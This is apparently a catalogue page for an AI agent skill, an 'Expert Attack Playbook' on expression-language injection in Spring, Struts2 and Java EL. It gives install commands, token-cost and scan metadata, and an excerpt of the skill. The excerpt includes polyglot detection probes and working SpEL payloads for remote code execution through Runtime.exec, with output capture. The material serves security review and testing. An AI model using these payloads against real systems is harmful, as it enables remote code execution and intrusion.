expression-language-injection

A security guide for detecting and exploiting expression-language injection in Java systems. Expression languages such as SpEL, OGNL, and Java EL let applications evaluate special expressions as code or commands.

In plain words
What is it for?
Use it when reviewing or testing Spring, Struts2, Confluence, JSP, JSF, or similar Java applications for unsafe expression evaluation, sandbox bypasses, or related JNDI lookup risks.
Why use it?
It helps identify when attacker-controlled input reaches an expression evaluator and distinguish this problem from template injection, which targets template engines.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/miru-zero/zero-brain/expression-language-injection
Any agent
npx skills add miru-zero/zero-brain --skill expression-language-injection
Clone the repo
git clone --depth 1 https://github.com/miru-zero/zero-brain

Made for: Claude Code, Codex.

Per session 45 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,351 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin 91% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00045 $0.02351
Opus 5 $0.00023 $0.01175
Sonnet 5 $0.00009 $0.00470
Haiku 4.5 $0.00005 $0.00235

Measured yesterday against content hash 6aadc23fb8ec, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

expression-language-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured yesterday.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

91% identical to expression-language-injection — 4 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/expression-language-injection/SKILL.md · 244 lines

How it starts

The opening of the file, as written. The whole thing — 244 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Expression Language Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, _memberAccess manipulation, actuator abuse, and real-world CVE chains.

Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (${7*7}) but diverge in exploitation.


1. DETECTION — POLYGLOT PROBES

${7*7}              → 49 = SpEL, OGNL, or Java EL
#{7*7}              → 49 = SpEL (alternative syntax) or JSF EL
%{7*7}              → 49 = OGNL (Struts2)
${T(java.lang.Math).random()}  → random float = SpEL confirmed
%{#context}         → object dump = OGNL confirmed

Disambiguation

Response to ${7*7} Response to %{7*7} Engine
49 literal %{7*7} SpEL or Java EL
literal ${7*7} 49 OGNL (Struts2)
49 49 Both may be active

2. SpEL (SPRING EXPRESSION LANGUAGE)

Where SpEL Appears

  • @Value("${...}") annotations
  • Spring Security expressions (@PreAuthorize)
  • Spring Cloud Gateway route predicates and filters
  • Thymeleaf th:text="${...}" (when combined with __${...}__ preprocessing)
  • Spring Data @Query with SpEL

RCE via Runtime.exec

${T(java.lang.Runtime).getRuntime().exec("id")}

RCE with Output Capture (Commons IO)

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE with Output Capture (Spring StreamUtils)

Read the full file on GitHub · 244 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. yesterday First seen · 244 lines · 45 tokens per session scan A 6aadc23fb8ec

Subscribe to this mod's changes

expression-language-injection is a skill published in the GitHub repository miru-zero/zero-brain (0 stars, last pushed 14d ago), licensed MIT. It adds 45 tokens to every session and 2,351 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 91% identical to expression-language-injection, differing in 4 lines, and is treated as a copy.

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